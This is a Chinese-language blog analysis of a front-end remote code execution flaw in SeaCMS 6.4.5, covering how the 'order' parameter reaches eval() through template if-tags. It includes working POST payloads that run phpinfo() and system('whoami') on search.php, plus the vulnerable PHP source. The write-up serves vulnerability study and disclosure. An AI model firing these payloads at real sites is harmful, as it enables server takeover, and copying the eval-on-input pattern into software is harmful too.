美文网首页
seacms_6.4.5 前台任意代码执行漏洞分析

seacms_6.4.5 前台任意代码执行漏洞分析

作者: ffx_01 | 来源:发表于2019-12-29 15:53 被阅读0次

    环境搭建

    1、下载安装包
    下载地址:
    链接:https://pan.baidu.com/s/1uw_VnxnvG4GGEae4TRsGGw
    密码:cd48
    2、常规安装

    image.png

    漏洞复现

    poc1:
    http://127.0.0.1/seacms645/search.php
    post:searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}
    poc2:
    POST:
    searchtype=5&order=}{end if}{if:1)$_POST[func]($_POST[cmd]);//}{end if}&func=system&cmd=whoami
    searchtype=5&order=}{end if}{if:1)$_POST[func]($_POST[cmd]);if(1}{end if}&func=system&cmd=whoami

    漏洞分析

    0x00 代码执行简单流程


    代码执行简单流程

    0x01 分析
    总的来说就是:$order参数没做严格的限制,就将其传入了模板文件中,然后使用eval()执行模板中包含$order的代码,通过闭合拼接语句的方式,插入恶意代码,实现远程命令执行。

    首先是从seacms_6.45/search.php入手,这个文件包含了seacms/include/common.php,在common.php中第45-48行,将GET,POST等请求传入的全局变量中的键值对转换成变量,并对其中的值使用addslashes()进行处理:

    function _RunMagicQuotes(&$svar)
    {
        if(!get_magic_quotes_gpc())
        {
            if( is_array($svar) )
            {
                foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
            }
            else
            {
                $svar = addslashes($svar);
            }
        }
        return $svar;
    }
    
    foreach(Array('_GET','_POST','_COOKIE') as $_request)
    {
        foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
    }
    

    在seacms/search.php文件第63行,echoSearchPage()函数中,将$order变量注册成全局变量:

    global $dsql,$cfg_iscache,$mainClassObj,$page,$t1,$cfg_search_time,$searchtype,$searchword,$tid,$year,$letter,$area,$yuyan,$state,$ver,$order,$jq,$money,$cfg_basehost;
    

    而在search.php中,执行echoSearchPage()函数之前,没有对$order变量进行处理。在echoSearchPage()函数中,使用$searchtype来选择使用的模板文件:

    if(intval($searchtype)==5)
        {
            $searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/cascade.html";
            $typeStr = !empty($tid)?intval($tid).'_':'0_';
            $yearStr = !empty($year)?PinYin($year).'_':'0_';
            $letterStr = !empty($letter)?$letter.'_':'0_';
            $areaStr = !empty($area)?PinYin($area).'_':'0_';
            $orderStr = !empty($order)?$order.'_':'0_';
            $jqStr = !empty($jq)?$jq.'_':'0_';
            $cacheName="parse_cascade_".$typeStr.$yearStr.$letterStr.$areaStr.$orderStr;
            $pSize = getPageSizeOnCache($searchTemplatePath,"cascade","");
        }else
        {
            if($cfg_search_time&&$page==1) checkSearchTimes($cfg_search_time);
            $searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/search.html";
            $cacheName="parse_search_";
            $pSize = getPageSizeOnCache($searchTemplatePath,"search","");
        }
    

    在if语句中可以看到,当$searchtype 的值为5的时候,传入了%order参数,因此这里的$searchtype需要取值5。

    下面153行,将模板文件读取到$content变量中:

    $content = parseSearchPart($searchTemplatePath);
    

    接着在155-173行替换标签。其中第158行使用$order替换了模板中{searchpage:ordername}标签:

    <a href="{searchpage:order-time-link}" {if:"{searchpage:ordername}"=="time"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderhits">最新上映</a>
    <a href="{searchpage:order-hit-link}" {if:"{searchpage:ordername}"=="hit"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderaddtime">最近热播</a>
    <a href="{searchpage:order-score-link}" {if:"{searchpage:ordername}"=="score"} class="btn btn-success" {else} class="btn btn-default" {end if} id="ordergold">评分最高</a>
    

    接着,在本文件的第212行:
    $content=$mainClassObj->parseIf($content);
    跟进去,在seacms\include\main.class.php中第3098-3147行中:

    function parseIf($content)
    {
        if (strpos($content, '{if:') === false) {
            return $content;
        } else {
            $labelRule = buildregx("{if:(.*?)}(.*?){end if}", "is");
            $labelRule2 = "{elseif";
            $labelRule3 = "{else}";
            preg_match_all($labelRule, $content, $iar);
            $arlen = count($iar[0]);
            $elseIfFlag = false;
            for ($m = 0; $m < $arlen; $m++) {
                $strIf = $iar[1][$m];
                $strIf = $this->parseStrIf($strIf);
                $strThen = $iar[2][$m];
                $strThen = $this->parseSubIf($strThen);
                if (strpos($strThen, $labelRule2) === false) {
                    if (strpos($strThen, $labelRule3) >= 0) {
                        $elsearray = explode($labelRule3, $strThen);
                        $strThen1 = $elsearray[0];
                        $strElse1 = $elsearray[1];
                        @eval("if(" . $strIf . "){\$ifFlag=true;}else{\$ifFlag=false;}");
                        if ($ifFlag) {
                            $content = str_replace($iar[0][$m], $strThen1, $content);
                        } else {
                            $content = str_replace($iar[0][$m], $strElse1, $content);
                        }
                    } else {
                        @eval("if(" . $strIf . ") { \$ifFlag=true;} else{ \$ifFlag=false;}");
                        if ($ifFlag) {
                            $content = str_replace($iar[0][$m], $strThen, $content);
                        } else {
                            $content = str_replace($iar[0][$m], "", $content);
                        }
                    }
                } else {
                    $elseIfArray = explode($labelRule2, $strThen);
                    $elseIfArrayLen = count($elseIfArray);
                    $elseIfSubArray = explode($labelRule3, $elseIfArray[$elseIfArrayLen - 1]);
                    $resultStr = $elseIfSubArray[1];
                    $elseIfArraystr0 = addslashes($elseIfArray[0]);
                    @eval("if({$strIf}){\$resultStr=\"{$elseIfArraystr0}\";}");
                    for ($elseIfLen = 1; $elseIfLen < $elseIfArrayLen; $elseIfLen++) {
                        $strElseIf = getSubStrByFromAndEnd($elseIfArray[$elseIfLen], ":", "}", "");
                        $strElseIf = $this->parseStrIf($strElseIf);
                        $strElseIfThen = addslashes(getSubStrByFromAndEnd($elseIfArray[$elseIfLen], "}", "", "start"));
                        @eval("if(" . $strElseIf . "){\$resultStr=\"{$strElseIfThen}\";}");
                        @eval("if(" . $strElseIf . "){\$elseIfFlag=true;}else{\$elseIfFlag=false;}");
                        if ($elseIfFlag) {
                            break;
                        }
                    }
                    $strElseIf0 = getSubStrByFromAndEnd($elseIfSubArray[0], ":", "}", "");
                    $strElseIfThen0 = addslashes(getSubStrByFromAndEnd($elseIfSubArray[0], "}", "", "start"));
                    if (strpos($strElseIf0, '==') === false && strpos($strElseIf0, '=') > 0) {
                        $strElseIf0 = str_replace('=', '==', $strElseIf0);
                    }
                    @eval("if(" . $strElseIf0 . "){\$resultStr=\"{$strElseIfThen0}\";\$elseIfFlag=true;}");
                    $content = str_replace($iar[0][$m], $resultStr, $content);
                }
            }
            return $content;
        }
    }
    

    这段函数主要功能是将输入的参数与正则匹配,之后进入eval()函数执行。
    正则:

    3102: $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
    3105: preg_match_all($labelRule,$content,$iar);
    

    要想进入到eval(),$content中必须含有{if:字符串,看代码执行流程,在eval()函数中,$strIf就是之前preg_match_all()中第一个(.*?)匹配出来的值。

    @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
    

    在eval()中,要闭合前面的if语句,可以构造1)phpinfo();if(1,又要符合正则{if:(.?)}(.?){end if},再看标签:

    <a href="{searchpage:order-time-link}" {if:"{searchpage:ordername}"=="time"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderhits">最新上映</a>
    

    由于$order替换的是{searchpage:ordername},所以,在1)phpinfo();if(1基础上添加:
    }{end if}{if:1)phpinfo();if(1}{end if}
    漏洞利用的基本流程就是这样,简单来说,就是有个可控的变量没有经过过滤,就被带入了eval()中,导致了代码执行。

    参考

    https://mengsec.com/2018/08/06/SeaCMS-v6-45%E5%89%8D%E5%8F%B0%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

    https://github.com/SecWiki/CMS-Hunter/tree/master/seacms/SeaCMS%20v6.45%E5%89%8D%E5%8F%B0Getshell%20%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C

    相关文章

      网友评论

          本文标题:seacms_6.4.5 前台任意代码执行漏洞分析

          本文链接:https://www.haomeiwen.com/subject/eqycoctx.html